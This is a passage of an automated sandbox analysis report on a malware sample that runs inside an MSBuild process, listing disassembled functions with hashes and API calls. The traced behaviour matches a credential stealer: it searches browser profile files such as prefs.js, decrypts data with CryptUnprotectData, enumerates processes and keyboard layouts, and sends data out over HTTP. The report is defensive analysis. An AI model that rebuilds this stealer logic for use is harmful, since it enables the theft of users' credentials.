Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,01394EC0), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,01394D70), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,01394D30,?,01396498,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 004049BD
------, xrefs: 00404B28
", xrefs: 00404D33
------, xrefs: 00404C69
", xrefs: 00404BF2

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425104,?,00401F2C,?,004251AC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425254), ref: 00401973
StrCmpCA.SHLWAPI(?,004252FC), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: f6729b4ca7a71a4f004be2a10859cc240176d0f2152b0d1bc8d15b91d95af8ba
Instruction ID: ec9ed5b7047c6bda7249a5c0e57325db5d04e86a6b28839c0a373f262e22f3db
Opcode Fuzzy Hash: f6729b4ca7a71a4f004be2a10859cc240176d0f2152b0d1bc8d15b91d95af8ba
Instruction Fuzzy Hash: BD1270719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E
\*.*, xrefs: 0040E44D

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: ef509b5d14d7ee1e05d7e14f5a0f1ff3905dedd58f18eb5e2196631b3c17b8f9
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: ef509b5d14d7ee1e05d7e14f5a0f1ff3905dedd58f18eb5e2196631b3c17b8f9
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

